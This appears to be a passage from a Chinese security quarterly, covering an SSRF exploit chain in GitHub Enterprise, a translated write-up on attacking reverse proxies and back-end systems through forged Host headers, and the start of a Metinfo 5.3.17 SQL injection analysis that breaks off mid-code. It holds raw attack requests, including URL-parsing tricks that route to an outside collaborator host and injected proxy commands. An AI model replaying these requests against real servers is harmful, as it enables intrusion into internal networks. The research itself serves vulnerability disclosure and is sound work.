不允许 302 重定向 

不允许 http,https 之外的协议 

不允许 CRLF 注入 

只允许 POST 方式发送数据包 

[2] 第二个漏洞:github 企业版使用 Graphite 来绘制图标,它运行在本地的 8000 端口 

 

这里也是存在 SSRF 的 

http://p7.qhimg.com/t0162890bd0173d144f.png
http://p2.qhimg.com/t019e3104cfefa421a3.png
http://p8.qhimg.com/t010f13db9ef27c6ab8.png
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[3] 第三个漏洞 Graphite 中的 CRLF 注入 

Graphite 是由 python 编写的 

于是,分析可知,这第二个 SSRF 的实现是 httplib.HTTPConnection 

很明显的,httplib 是存在 CRLF 注入问题的 

于是,我们可以构造下面的 URL,产生一个'走私'漏洞 

 

[4] 第四个漏洞 Memcached gem 中不安全的编排问题 

Github 企业版使用 Memcached gem 来作为它的缓存客户端 

所有缓存的 ruby 对象都会被编排 

最终的攻击链如下: 

 

这个漏洞最终获得了 12500 美金的奖励 

在 github 企业版<2.8.7 中可以使用 

缓解措施 

[1] 应用层 

使用唯一的 ip 地址和 URL,而不是对输入的 URL 进行复用 

简单的说,拒绝对输入的 URL 进行二次解析,只使用第一次的结果 

[2] 网络层 

http://p0.qhimg.com/t0188aa7e93321bea9a.png
http://p3.qhimg.com/t010f0325b053150823.png
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使用防火墙或者协议来阻断内网的通行 

[3] 相关的项目 

由 @fin1te 编写的 SafeCurl 

它也被 @JordanMilne 所提倡 

总结 

SSRF 中的新攻击面 

[1] URL 解析器的问题 

[2] 滥用 IDNA 标准 

协议'走私'中的新攻击向量 

[1] 利用 linux Glibc 中的新特性 

[2] 利用 NodeJS 对 Unicode 字符的处理问题 

以及相关的具体案例分析 

未来展望 

[1] OAuth 中的 URL 解析器 

[2] 现代浏览器中的 URL 解析器 

[3] 代理服务器中的 URL 解析器 

以及.. 更多 
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HTTP 中的隐藏攻击面 

作者：二向箔安全 

原文来源：https://mp.weixin.qq.com/s/i5wNmATaumpo98nFn5XQ_w 

前言： 

我们访问互联网的时候除了常见的 Web 层之外，通常还会经过许多隐藏的服务系统，

他们会对一些数据进行分析以及其它一些处理。然而这一层几乎不可见的攻击层却被许多人忽

略了。 

在这篇文章中，我会展示如何伪造请求头来使这些系统暴露，并且为让它们为我们打开一

道攻击内网的大门。我通过组合一些技巧以及 Bash 命令来打入 DoD 网络。通过这些漏洞

我获取了三万美金的奖励，并且意外地攻破了自己的 ISP。 

在分析攻击时，我将展示几个发现的「隐藏系统」。除了探索一个截取信息的英国 ISP，

还将讨论一个来自哥伦比亚的可疑 ISP，一个令人困惑的 Tor 后端，以及一个可以让反射型 

XSS 升级为 SSRF 的系统。最后，我会利用一个用于网络流量追踪的 BurpSuite 插件来探

索这些系统。 

简介： 

无论是 Shellsock，StageFright，或者 Image Tragick，发现一个重大漏洞意味着相同

问题的存在。导致该现象发生的一个原因是一些攻击面会被安全研究员忽略。在这个论文中，

我会展示从反向代理，负载均衡，后台分析系统派生出的攻击面。我将描述一个简单有效的审

计该类系统的方法，然后展示一部分我找到的高危漏洞。 

同样地，我也会开放两个工具。一个是 Collaborator Everything ，一款可以检测隐藏

的后台系统的 Burp 插件。你可以通过 BApp store 或者 Github 上的源码

（ PortSwigger/collaborator-everywhere ）来安装它。Rendering Engine Hackability 

Probe 是一个分析连接过来的客户端的攻击面，可以在 PortSwigger/hackability 处下载或

者在 Rendering Engine Hackability Probe 直接使用。 

攻击手段： 

 1.监听 
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这个研究涉及到定位隐藏的系统，然而后台系统和负载均衡肯定不希望用户注意到它的存

在。因此，我们不能依赖获得响应报文的内容来分析这些系统的漏洞。相反地，我们可以发送

攻击负荷，然后再从 DNS 查询以及 HTTP 请求中分析。这篇论文的所有发现都是由回链功

能引起的，漏洞和隐藏系统的发现都归功于它。我利用 Burp Collaborator 记录这些请求，

不过你也可以利用你自己 DNS 服务器或者 Canarytokens（Know.  Before it matters）来

做到相同的效果。 

我一开始用 Burp 简单的 匹配/替换 规则来注入硬编码回链（pingback）攻击负荷

（payload）到我的网络流量中。这个方法明显失败了，这些负荷引起了过多网站的回链，导

致了我难以关联每个回链到其对应的网站。后来我也了解了一些载荷会导致回链延迟——短

的三分钟，长的数小时，有些甚至长达 1 天。 

为了高效地分类回链，我写了 Collaborator Everywhere，一个能够注入有独特标识的

载荷的 Burp 扩展，并且用户能够自动关联回链到与其对应的主机。打个比方，下面的截图展

示了在我们访问 Netflix 四小时之后，Collaborator Everywhere 认出它们已经访问过我们

在 Referer 头中指定的 URL，并且在访问时伪装成运行在 x86 平台的 iPhone。 

 

2 .扩大范围 

Collaborator Everything 对于单一目标的人工审计十分高效，论文中半数的漏洞都是用

它发现的。然而，在这个研究中，我注意到雅虎服务器的某个漏洞无论扫描多少次，每次扫描

只有百分之三十的成功几率。这个问题的核心原因是雅虎使用了 DNS 轮询来负载均衡三个

前台服务器的入站请求，而这三个服务器只有一个有那个漏洞。这种奇怪的问题对安全审计影
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响很小，然而它能产生破坏负载均衡的漏洞。为了确保所监测到有具有漏洞的服务器，系统地

验证并把攻击载荷发送到目标网络设施是十分重要的步骤。 

 

我一开始使用 Burp Collaborator 和修改过的 Masscan，后来由于追求 HTTP/1.1 和 

HTTPS 的支持，就用 Zmap/ZGrab 来代替 Masscan。为了关联回链到对应的主机，我在

攻击载荷前加了目标的主机名，比如在 example.com 的漏洞会发送一个类似

example.com.collaboratorid.burpcollaborator.net 的 DNS 查询。攻击目标的域名和 IP 

地址是从合法的漏洞奖励计划筛选的。我利用这个技术鉴定成千上万的 IP 地址了，并且分析

出大概有五万个在监听 80/443 端口。之后再用 DNS 反查技术，发现相当一部分的伪装成

谷歌的网络设施，也许它们不太愿意受到安全审计吧。 

如果发送的数据包不能命中服务器要害的话，效果甚微。为了最大化覆盖面，我对每个 IP

至多用了五个主机名来测试，并且都包含 HTTP 和 HTTPS。同样地，我也试着

用 X-Forwarded-Proto: HTTPS 和 and orwards 触发边缘案例。Cache-Control: 

no-transform 头被我用来防止中间服务器篡改负荷。 

伪造请求 

反向代理被用来把请求转发给内部服务器。它们通常在网络中有特权，比如接收外网信息

并将其转发给 DMZ 内的服务器。通过合适的载荷.一些反向代理会被攻击者操控，去访问指

定的地址。这会使他们成为 SSRF 的一种强大变体。这副图简单的描述了该种攻击： 
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注意，这类攻击总是利用伪造的请求，并影响一些工具的使用

（https://github.com/zaproxy/zaproxy/issues/1318），而且在实验过程中你有可能攻击自

己公司的或者 ISP 的网关。我会推荐 Burp Suite，mitmproxy，和 Ncat/OpenSSL 当作你

的工具。 

无效主机 

最简单的触发回调（callback）的方法是发送错误的 HTTP 主机头 ： 

GET / HTTP/1.1 

Host: uniqid.burpcollaborator.net 

Connection: close 

虽然在某些圈子里已经家喻户晓了，这项技术依然不算流行。我利用它成功攻破了 27 个 

DoD 服务器，自己的 ISP，以及一个哥伦比亚 ISP，和 http://ats-vm.lorax.bf1.yahoo.com/。

为了表明问题的严重性，我们先拿 http://ats-vm.lorax.bf1.yahoo.com/开刀。 

首先，我们来看看上面运行的软件 ： 

GET / HTTP/1.1 

Host: XX.X.XXX.XX:8082 

 

HTTP/1.1 200 Connection Established 
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Date: Tue, 07 Feb 2017 16:32:50 GMT 

Transfer-Encoding: chunked 

Connection: close 

 

Ok 

/ HTTP/1.1 is unavailable 

Ok 

Unknown Command 

Ok 

Unknown Command 

Ok 

Unknown Command 

Ok 

不到一分钟，我就通过 HELP 命令知道服务器确切运行的软件 ： 

HELP / HTTP/1.1 

Host: XX.X.XXX.XX:8082 

 

HTTP/1.1 200 Connection Established 

Date: Tue, 07 Feb 2017 16:33:59 GMT 

Transfer-Encoding: chunked 

Connection: keep-alive 

 

Ok 

 

Traffic Server Overseer Port 

 

  commands: 

    get <variable-list> 

    set <variable-name> = "<value>" 

    help 

    exit 

 

  example: 

 

    Ok 

    get proxy.node.cache.contents.bytes_free 

    proxy.node.cache.contents.bytes_free = "56616048" 
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    Ok 

 

  Variable lists are conf/yts/stats records, separated by commas 

 

Ok 

Unknown Command 

Ok 

Unknown Command 

Ok 

Unknown Command 

Ok 

数行 'Unknown Command' 意味着服务器将每行文字当作一个单独的命令。这种一行

一个命令的协议对于传统的 SSRF 来讲几乎不可能利用。幸运的是，以路由为基础的 SSRF 

灵活性更强，并且我能在发送 GET 请求的同时附带包含着命令的 POST 参数 ： 

GET / HTTP/1.1 

Host: XX.X.XXX.XX:8082 

Content-Length: 34 

 

GET proxy.config.alarm_email 

 

 

HTTP/1.1 200 Connection Established 

Date: Tue, 07 Feb 2017 16:57:02 GMT 

Transfer-Encoding: chunked 

Connection: keep-alive 

 

Ok 

/ HTTP/1.1 is unavailable 

Ok 

Unknown Command 

Ok 

proxy.config.alarm_email = "nobody@yahoo-inc.com" 

通过 SET 命令，我能够对雅虎的负载均衡集群做许多的配置，比如开启 SOCKS 代理，

授予我的 IP 直接推送文件到服务器缓存的权限。我递交报告给雅虎并接受到了一万五千美元

的奖励。几周后 ZGrab 发现了另一个有着类似问题的服务器，这又让我拿到了 5000 美元。 
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探索 British Telegram 

在我尝试用非法主机名 fuzz 时，我注意到了一个收到 ip 与公司不对应的回链，其中包

括了 http://cloud.mail.ru 。我一开始认为这些公司用了 WAF 做保护，但是我又发现我可以

发送请求到内网管理接口。看来并不是风平浪静啊。反查这个 IP 的域名，发现它来

自 http://bn-proxyXX.ealing.ukcore.bt.net——BT 是一家英国通讯公司，也是我所在的公

司的 ISP 供给商。从英国肯特得到一个被发去俄罗斯的回链是一个十分怪异的现象。我开始

用 Burp Suite 来追踪，发现响应只花了五十毫秒，对于从英国到俄罗斯这么长的距离，五十

毫秒的通信短的令人怀疑。 

 

我推测到 cloud.email.ru 的 TCP 连接被我的 ISP 所终结。因为在 TCP 端口 443

（HTTPS）上传递的信息并没有被篡改，这意味着篡改我们流量的东西并没有 mail.ru 的证书，

也就是说这个劫持是在未经 email.ru 同意的情况下进行的。无论在家还是公司，这一行为都

可以被复现，有没有可能是 GNCQ 在监视我呢？当我发现我的朋友也会被类似劫持，我否认

了之前的想法，然而这个神秘的设备究竟是什么呢？ 

为了去分析这个系统的真正目的，我使用 TTL 设置为 10 的 Masscan 去扫描所有 IPv4 

公网上开放着 80 端口的主机。当排除了托管主机后，我有了一份目标 IP 的名单。在我对这

份名单采样之后，我发现这个系统的初衷是拦截受版权保护的内容。在黑名单中的 IP 会被转

发到一个端口来检查 HTTP 主机头，然后阻止这样的请求 ： 

GET / HTTP/1.1 

Host: www.icefilms.info 

 

HTTP/1.1 200 OK 
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... 

<p>Access to the websites listed on this page has been blocked pursuant to orders of the high court.</p> 

事实上，绕过这一限制甚至不需要改动主机头。不过我把它留给读者当思考题。 

这一配置会有几个严重的后果。多亏了像 Google Site 这样的虚拟主机，云主机，我的

流量才会被这种黑名单所劫持。不过这也意味着所有访问这些站点来的流量都要被 BT 公司

处理一遍。从黑名单服务器的角度来看，所有的 BT 都共用一份黑名单地址，这会导致 ISP 对

其的滥用并使用户不能访问许多网站。同样地，如果我能用前面介绍的漏洞去控制管理员面板，

那么就可能向成千上万的 BT 用户注入危险内容。最后，我想说明一下这种问题已经被忽视

了很久。这几年来，我和英国其他的渗透测试人员在渗透时都多多少少经过这种端口，却还是

忽略了它的存在。 

我汇报了这类问题给一个我认识的 BT 同事，他们很快就解决了。他们表示这个系统是

CleanFeed 的一部分，一开始是用来阻拦儿童不宜的图片，后来，它又加入了版权保护的功

能。 

探索 METROTEL 

后来我在一个叫 METROTEL 的哥伦比亚 ISP 发现了异样行为。Rapid7 的 Project 

Sonar 就用了被它投毒的 DNS 服务器。为了在传递 HTTPS 流量时不产生证书错误，他们

从服务器名称指示中嗅探目标主机。我通知了 Rapid7 关于异常 DNS 服务器的事情，并用 

Alexa top 1 million domain 列表找到被投毒目标。目标站点似乎是视频，图片网站，以及

小众化的社交网站。然而我访问它们时都被重定向到 http://internetsano.metrotel.net.co/， 

并声称这个网站因为有儿童不宜的内容而被阻拦访问。 

和 BT 一样，这个系统的初衷也许是好的，但是这个网站却没有被重新设计的痕迹。除

了图像网站，这个网站也对 bbc.co.ue 这样的新闻网站进行投毒。虽然我还没验证，但是该

网站可能会对包含某些敏感信息的新闻进行阻拦。 

处理输入排序 

星星之火，可以燎原。我们先来看看我收到的几个请求 ： 

GET / HTTP/1.1 

Host: burpcollaborator.net 

Connection: close 

他们多次触发了一个到 outage.< 被指定的域名>的请求 ： 
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GET /burpcollaborator.net/burpcollaborator.net HTTP/1.1 

Host: outage.burpcollaborator.net 

Via: o2-b.ycpi.tp2.yahoo.net 

这种行为几乎不可预计，所以最好的处理是对 DNS，SSL 进行范解析。因为内部服务器

并不会在路径中包含敏感数据，这种怪异的行为看似没有攻击点。幸运的是，如果你注册了

outage.< 被指定的域名>并且把它解析为内网地址，那就可以发送到内部服务器的 Web 根

目录的请求 ： 

GET / HTTP/1.1 

Host: ../?x=.vcap.me 

Connection: close 

这将导致如下请求 ： 

GET /vcap.me/../?=x=.vcap.me 

Host: outage.vcap.me 

Via: o2-b.ycpi.tp2.yahoo.net 

请求被解析完之后，URL 会变成  https://outage.vcap.me/?x=whatever vcap.me 是

一个可以把所有对其子域名的请求解析成 127.0.0.1，因此我们相当于收到

从 https://127.0.0.1 的数据。这个漏洞让我从雅虎收到 5000 美元的奖励。 

主机重写 

我之前用来创建恶意重置密码邮件

（http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html） 

的方法对国防部的部分主机也有效。有些服务器会对主机头做白名单检查，但是却没想到解析

时，在指定 HOST 时，它会被优先解析 ： 

GET http://internal-website.mil/ HTTP/1.1 

Host: xxxxxxx.mil 

Connection: close 

利用这个特性，我可以访问许多内部服务器，其中包括了一个有漏洞的网上图书馆和一个

文件传输服务器。 

模糊请求 
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一些主机被 Incapsula 的 WAF 所保护。Incapsula 通过判断主机头来决定消息转发的

目标，所以前面的的攻击不起作用。但是，Incapsula 通过截断端口来解析出主机，意外着以

下的请求会被发送到 http://incapsula-client.net ： 

GET / HTTP/1.1 

Host: incapsula-client.net:80@burp-collaborator.net 

Connection: close 

然而，收到 incapsula.net 消息转发的服务器会把 incapsula-client 以及 :80 当作用户

名和密码来访问 burp-collaborator.net。除了暴露攻击面以外，这也会泄露服务器的真实 ip，

让我们能绕过 Incapsula 的 WAF 保护。 

打破常规 

Broken request routing 漏洞并不总是由错误配置引起的。举个例子，以下在 New Relic 

服务器的代码引起了高危漏洞 ： 

Url backendURL = "http://public-backend/"; 

String uri = ctx.getRequest().getRawUri(); 

 

URI proxyUri; 

try { 

proxyUri = new URIBuilder(uri) 

        .setHost(backendURL.getHost()) 

        .setPort(backendURL.getPort()) 

        .setScheme(backendURL.getScheme()) 

        .build(); 

} catch (URISyntaxException e) { 

    Util.sendError(ctx, 400, INVALID_REQUEST_URL); 

    return; 

} 

这个代码看上去没什么问题——它用硬编码后的后端服务器地址替换用户提供的 URL，

然而 Apache HttpComponents server 库需要一个从 '/' 开始的路径才能正常运作，如下请

求 ： 

GET @burp-collaborator.net/ HTTP/1.1 

Host: newrelic.com 

Connection: close 
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会被重写为 http://public-backend@burp-collaborator.net 并且发送请求

到 http://burp-collaborator.net。这个漏洞也给我访问内网的权限。 

不幸的是 New Relic 不肯给我奖励，但他们很快修复了这个漏洞。我也向 Apache 基

金会汇报了这个问题。除了在 New Relic，我还在雅虎的 17 个服务器中发现了类似问题，并

且赚了 8000 美刀。 

隧道 

用@来误导 URL 解析十分奏效。然而并不是所有的系统支持这种形式的 URL，因此我

尝试了一下变体 ： 

GET xyz.burpcollaborator.net:80/bar HTTP/1.1 

Host: demo.globaleaks.org 

Connection: close 

这可能会让主机去访问公开服务器 http://xyz.burpcollaborator.net ，然后我们的 DNS 

服务器可以收到请求。然而我的 DNS 却收到来自不同地址的查询 ： 

xYZ.BurpcoLLABoRaTOR.neT.    from 89.234.157.254 

Xyz.burPColLABorAToR.nET.    from 62.210.18.16  

xYz.burpColLaBorATOR.net.    from 91.224.149.254 

GlobalLeak 利用 Tor2Web 来将入站请求发送到一个 Tor 匿名服务来隐藏其真是地址。

Tor 退出节点时用了模糊化机制来加强 DNS 的安全性，这个机制导致 Burp Collaborator 拒

绝回复消息并出发大规模的查询请求。 

这个漏洞有一个问题——当所有的请求被导向 Tor 时，我们不能任意访问内网服务。即

便如此，我们还是可以利用它当跳板攻击其它服务器。除此之外，让网站通过 Tor 访问恶意

站点也会暴露许多攻击面。 

攻击辅助系统 

我们已经探索了许多反向端口和误导它们发送请求的技术，但到目前为止影响都十分相似。

在这个章节我们会攻击后台分析系统和缓存系统，通常，找到一个这类系统的高危漏洞比前面

介绍的回调要难很多。 

信息收集 

基于路由的攻击通常不会影响网站的正常运作，然而 Collaborator Everywhere 在每个

请求注入许多不同的攻击 ： 
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GET / HTTP/1.1 

Host: store.starbucks.ca 

X-Forwarded-For: a.burpcollaborator.net 

True-Client-IP: b.burpcollaborator.net 

Referer: http://c.burpcollaborator.net/ 

X-WAP-Profile: http://d.burpcollaborator.net/wap.xml 

Connection: close 

X-Forwarded-For 

X-Forwarded-For 和 True-Client-IP 头是易于触发而难于利用的攻击，它们通常用来

伪造 IP 地址或者主机名。信任这些头部的服务器通常会执行 DNS 查询来将主机名解析成 

IP。这意味着它们会被 IP 伪造攻击所影响，除非你能用 DNS 破坏内存，它的回调本身不能

被利用。 

Referer 

类似的，Web 分析系统会抓取 Referer 头中的 URL。有些为了 SEO，甚至爬去整个 

referer URL 中的内容。这个行为十分有用，因此我们应该关闭 robot.txt 的限制。很明显，

由于我们无法得知分析系统收到的内容，这是一个 blind SSRF 漏洞。这个行为一般需要一段

时间才会触发，因此我们更加难以利用它了。 

参数重复 

出于种种原因，Incapsula 会多次获取参数。然而他们并没有漏洞奖励计划，因此我也不

能去探索它是否可以被利用。 

X-Wap-Profile 

这是一个非常老的 HTTP 头了，这是用来放置一个描述兼容性，比如设备大小，是否支

持蓝牙等信息的 XML 地址，比如 ： 

GET / HTTP/1.1 

Host: facebook.com 

X-Wap-Profile: http://nds1.nds.nokia.com/uaprof/N6230r200.xml 

Connection: close 

这会将 X-Wap-Profile 中的 XML 提取出来，然后再解析里面的内容。如果没有配置好

的话，还是可以被利用的。可惜的是支持这个头的网站不多，而 Facebook 是唯一一个在提
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供漏洞奖励的网站中支持它的。Facebook 每 26 小时才解析一次这种 XML，因此利用它来

攻击不大实际。 

攻击远程客户端 

在这些情况下，直接的 SSRF 攻击不能让我们接收到从应用返回的内容。我的第一个想

法是利用 RCE 来盲打内网。然而这个技术并不能吸引我，所以我选择专注与回链的客户端。

和反向代理一样，这些客户端的安全性不高。我能在其建立 HTTPS 链接时利用 heartbleed 

漏洞来获得内存信息。它们所使用 PhantomJS 这样的 Headless Browser 通常也是没有打

补丁的旧版本。基于 Windows 的客户端可能会自动将域凭据记载到由 SpiderLab 提供的 

Responder 服务器, lcamtuf 的 p0f 也可以在 UA 被伪造的情况下挖掘实际客户端。 

虽然有些 应用会无视输入的 URL，但也有许多库会处理它们并展示出奇怪的现象。比如

Tumblr 的 URL 预览功能只设计时支持 HTTP，不过它也可以重定向你到 ftp 服务。Orange 

Tsai 指出并分析了许多类似的议题。 

一些客户端不下载完整页面——他们只是简单地渲染并选择一些 JavaScript 执行。手工

挖掘这些客户端潜在的漏洞几乎不可能，因此我的同事 Gareth Heyes 开发出了一个叫 

'Rendering Engine Hackability Probe'  的软件来探测 JavaScript 特殊原型及常见的漏洞，

比如无视 SOP。 
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我们可以看到，它发现了罕见的 JavaScript 原型——'parity' 和 'System'。这些特别的

原型可能没用，也有可能帮大忙。'party' 可以用来拿用户钱包里的公匙并公开余额。

JXBrowser 可以让开发者添加一段 Javascript/Java 桥接。而且在去年，我们发现了使其任

意代码执行的方法。错误配置并启用 JavaScript 的客户端也可以通过 file:///URLs 访问。这

会使本地文件或变量被 XSS 读取。同样地，我们也可以用它来进行 blind SSRF。我们在不

执行 JS 的客户端进行了基本的测试。 

预缓存 

在寻找漏洞时，我注意到一个军队相关的服务器的奇怪行为。发送以下请求时 ： 

GET / HTTP/1.1 

Host: burpcollaborator.net 

一开始它返回正常的请求。不过我后面又收到了如下请求 ： 

GET /jquery.js HTTP/1.1 

GET /abrams.jpg HTTP/1.1 
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有东西在对我发出去的请求进行解析并打算从中获取资源。当我看到 <img 

src=/abrams.jpg /> 时，我意识到了它会使用我给的 host 头部来完善绝对地址并抓取文件。

我通过它的反向代理确认了这一点。这样的话，我就可以通过注入假的 JPG 地址来进行反射

形 XSS ： 

POST /xss.cgi HTTP/1.1 

Content-Length: 103 

Connection: close 

 

xss=<img src="http://internal-server.mil/index.php/fake.jpg"/> 

反向代理会这样抓取并保存信息到缓存中 ： 

GET /index.php/fake.jpg 

Host: internal-server.mil 

Connection: close 

以下是攻击流程图： 

 

注意在 URL 为绝对路径的情况下，就算注入一个完全不存在的主机头，在这里的 XSS 

也依旧可以工作。 

总结: 

近几年的漏洞奖励计划鼓励了更多研究；我们同时也可以在短短时间内收集大规模的主机

信息。利用它们，我展示了攻击反向代理的一些手段，并且赚到了三万三千美金。为了更好的

防护，反向代理应该也被放置到 DMZ 中，并阻挡对内部网络的访问。 
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同时我也展示了如何获后台系统的操作权限。虽然比前台系统更难，但是它们暴露了更深

一层的攻击面。最后，我添加探测路由漏洞的功能到 Burp Suite，并公开了该项目来帮助更

多的研究人员。 

参考： 

https://portswigger.net/knowledgebase/papers/CrackingTheLens-whitepaper.pd

f 

二向箔 

 

  



  安全客-2017 年季刊-第 3 期 

—172— 
 

【培训】i 春秋 Web 安全工程师培训 

  

https://www.ichunqiu.com/train/course/11?i=2
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【漏洞分析】 

Metinfo 5.3.17 前台 SQL 注入漏洞分析 

作者：phithon 

原文来源：https://www.leavesongs.com/PENETRATION/metinfo-5.3.17-sql-injection.html  

0x00 前言 

Metinfo 8 月 1 日升级了版本，修复了一个影响小于等于 5.3.17 版本（几乎可以追溯到

所有 5.x 版本）的 SQL 注入漏洞。这个 SQL 注入漏洞不受软 WAF 影响，可以直接获取数据，

影响较广。 

0x01 漏洞原理分析 

漏洞出现在 /include/global.func.php 文件的 jump_pseudo 函数 ： 

<?php 

/*静态页面跳转*/ 

function jump_pseudo(){ 

    global $db,$met_skin_user,$pseudo_jump; 

    global $met_column,$met_news,$met_product,$met_download,$met_img,$met_job; 

    global $class1,$class2,$class3,$id,$lang,$page,$selectedjob; 

    global $met_index_type,$index,$met_pseudo; 

    if($met_pseudo){ 

        $metadmin[pagename]=1; 

        

$pseudo_url=$_SERVER[HTTP_X_REWRITE_URL]?$_SERVER[HTTP_X_REWRITE_URL]:$_SERVER[REQUEST_URI]; 

        

$pseudo_jump=@strstr($_SERVER['SERVER_SOFTWARE'],'IIS')&&$_SERVER[HTTP_X_REWRITE_URL]==''?1:$pseud

o_jump; 

        $dirs=explode('/',$pseudo_url); 

        $dir_dirname=$dirs[count($dirs)-2]; 

        $dir_filename=$dirs[count($dirs)-1]; 

        if($pseudo_jump!=1){ 

            $dir_filenames=explode('?',$dir_filename); 

            switch($dir_filenames[0]){ 

                case 'index.php': 

                    if(!$class1&&!$class2&&!$class3){ 

https://www.leavesongs.com/PENETRATION/metinfo-5.3.17-sql-injection.html
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                        if($index=='index'){ 

                            if($lang==$met_index_type){ 

                                $jump['url']='./'; 

                            }else{ 

                                $jump['url']='index-'.$lang.'.html'; 

                            } 

                        }else{ 

                            if($lang==$met_index_type){ 

                                $jump['url']='./'; 

                            }else{ 

                                $id=$class3?$class3:($class2?$class2:$class1); 

                                if($id){ 

                                    $query="select * from $met_column where id='$id'"; 

                                }else{ 

                                    $query="select * from $met_column where 

foldername='$dir_dirname' and lang='$lang' and (classtype='1' or releclass!='0') order by id asc"; 

                                } 

                                $jump=$db->get_one($query); 

                                $psid= ($jump['filename']<>"" and 

$metadmin['pagename'])?$jump['filename']:$jump['id']; 

                                if($jump[module]==1){ 

                                    $jump['url']='./'.$psid.'-'.$lang.'.html'; 

                                }else if($jump[module]==8){ 

                                    $jump['url']='./'.'index-'.$lang.'.html'; 

                                } 

                                else{ 

                                    if($page&&$page!=1)$psid.='-'.$page; 

                                    $jump['url']='./'.'list-'.$psid.'-'.$lang.'.html'; 

                                } 

                            } 

                        } 

                        ... 

} 

代码截的不全，只关注一下这几个操作： 
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$pseudo_url=$_SERVER[HTTP_X_REWRITE_URL]?$_SERVER[HTTP_X_REWRITE_UR

L]:$_SERVER[REQUEST_URI];： 从$_SERVER[HTTP_X_REWRITE_URL]中获取$pseudo_url

变量 

$dirs=explode('/',$pseudo_url);：将$pseudo_url 变量用斜线分割成$dirs 数组 

$dir_dirname=$dirs[count($dirs)-2];：获取$dirs 的倒数第二个元素作为$dir_dirname

变量 

$query="select * from $met_column where foldername='$dir_dirname' and 

lang='$lang' and (classtype='1' or releclass!='0') order by id asc";：$dir_dirname 变量

被拼接进 SQL 语句 

所以，通过分析可知，$_SERVER[HTTP_X_REWRITE_URL]的一部分，最终被拼接进 SQL

语句。那么，如果 Metinfo 没有对 HTTP 头进行验证的情况下，将导致一个 SQL 注入漏洞。 

看一下 Metinfo 对于变量的获取方式 ： 

<?php 

foreach(array('_COOKIE', '_POST', '_GET') as $_request) { 

    foreach($$_request as $_key => $_value) { 

        $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1); 

        $_M['form'][$_key] = daddslashes($_value,0,0,1); 

    } 

} 

使用 daddslashes 函数过滤 GPC 变量，daddslashes 这个函数确实很讨厌，不光有转义，

而且有很不友好的软 WAF。但我们这里这个注入点是来自于 SERVER 变量，所以是不受软

WAF 影响的。 

0x02. 漏洞利用缺陷 

那么，我们看看如何才能进入这个注入的位置。 

jump_pseudo 函数前面有一些条件语句，归纳一下主要有下面几个： 

需要满足 if($met_pseudo)... 

需要满足 if($pseudo_jump!=1)... 

需要满足 switch($dir_filenames[0]){ case 'index.php':... 

需要满足 if(!$class1&&!$class2&&!$class3)... 
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不能满足 if($index=='index')... 

不能满足 if($lang==$met_index_type)... 

翻译成汉字，大意就是： 

$met_pseudo 必须为真。$met_pseudo 这个变量是指系统是否开启了伪静态，也就说

这个漏洞需要开启伪静态才能够利用。 

$pseudo_jump 不等于 1。这个条件，只要$_SERVER[HTTP_X_REWRITE_URL]有值即

可满足。 

$dir_filenames[0]必须等于'index.php'，这个变量是可控的。 

class1、class2、class3 不能有值。这个条件，只要我访问的是 index.php，并且不主动

传入这三个参数，即可满足。 

$index 不能等于'index'，这个变量也是可控的，传入参数 index=xxxx 即可 

$lang 不能等于$met_index_type 

这 6 个条件语句中，2~5 中的变量都可控，1 中的变量只要开启伪静态即可满足，唯独 6

需要单独分析一下。 

$lang 是我们传入的参数，代表给访客显示的语言是什么。Metinfo 默认安装时，将存在

3 种语言：简体中文（cn）、英文（en）、繁体中文（tc），而$met_index_type 表示默认语言

类型，默认是中文，也就是 cn。 

而 Metinfo 的配置（包括伪静态相关的配置），是和语言有关系的，不同语言的配置不相

同。默认情况下，如果管理员在后台开启伪静态，将只会修改 lang=cn 时的配置。 

那么，正常情况下，我们传入 index.php?lang=cn，将会导致

if($lang==$met_index_type)...这个条件成立，也就没法进入 SQL 注入的语句中；如果我们

传入 index.php?lang=en，又导致伪静态配置恢复默认，也就是$met_pseudo = 0，导致进

不去步骤 1 的 if 语句；如果我们传入一个不存在的 lang，比如 index.php?lang=xxx，将会

导致报错：No data in the database,please reinstall. 

这就比较蛋疼。此时，就需要利用到 Mysql 的一个特性。 

0x03. Mysql 大小写特性回顾 

Mysql 对于内容的存储方式，有如下两个概念：字符集（character set）和 collation（比

对方法）。 
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二者组合成 Mysql 的字符格式，一般来说分为这两类 ： 

<character set>_<language/other>_<ci/cs> 

<character set>_bin 

比如，最常用的 utf8_general_ci，就是第一种格式。 

我们这里需要关注的就是最后一串：ci、cs、bin，这三个究竟是什么？ 

ci 其实就是 case insensitive （大小写不敏感）的缩写， cs 是 case sensitive （大小

写敏感）的缩写。也就是说，当我们用的字符格式是 utf8_general_ci 时，Mysql 中比对字符

串的时候是大小写不敏感的。 

bin 指的是比较的时候，按照二进制的方式比较，这种情况下就不存在大小写的问题了。

bin 方式还可以解决有些小语种上的特性，这个就不展开说了。 

我们随便找了个数据表，做个小实验： 

 

可见上图，虽然我查询的 SQL 语句是 SELECT * FROM `wp_users` WHERE 

`user_login`='AdmIN'，但实际上查询出来了用户名是 admin 的用户账户。 

0x04. 完成漏洞利用 

回到 Metinfo，我们可以利用 0x03 中说到的 Mysql 特点，来绕过

if($lang==$met_index_type)...的判断。 

我们来看看 Metinfo 是如何获取系统配置的 ： 

<?php 

/*默认语言*/ 

$met_index_type = $db->get_one("SELECT * FROM $met_config WHERE name='met_index_type' and 
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lang='metinfo'"); 

$met_index_type = $met_index_type['value']; 

$lang=($lang=="")?$met_index_type:$lang; 

$langoks = $db->get_one("SELECT * FROM $met_lang WHERE lang='$lang'"); 

if(!$langoks)die('No data in the database,please reinstall.'); 

if(!$langoks[useok]&&!$metinfoadminok)okinfo('../404.html'); 

if(count($met_langok)==1)$lang=$met_index_type; 

/*读配置数据*/ 

$_M[config][tablepre]=$tablepre; 

$query = "SELECT * FROM $met_config WHERE lang='$lang' or lang='metinfo'"; 

$result = $db->query($query); 

while($list_config= $db->fetch_array($result)){ 

    $_M[config][$list_config['name']]=$list_config['value']; 

    if($metinfoadminok)$list_config['value']=str_replace('"', '&#34;', str_replace("'", 

'&#39;',$list_config['value'])); 

    $settings_arr[]=$list_config; 

    if($list_config['columnid']){ 

        $settings[$list_config['name'].'_'.$list_config['columnid']]=$list_config['value']; 

    }else{ 

        $settings[$list_config['name']]=$list_config['value']; 

    } 

    if($list_config['flashid']){ 

        $list_config['value']=explode('|',$list_config['value']); 

        $falshval['type']=$list_config['value'][0]; 

        $falshval['x']=$list_config['value'][1]; 

        $falshval['y']=$list_config['value'][2]; 

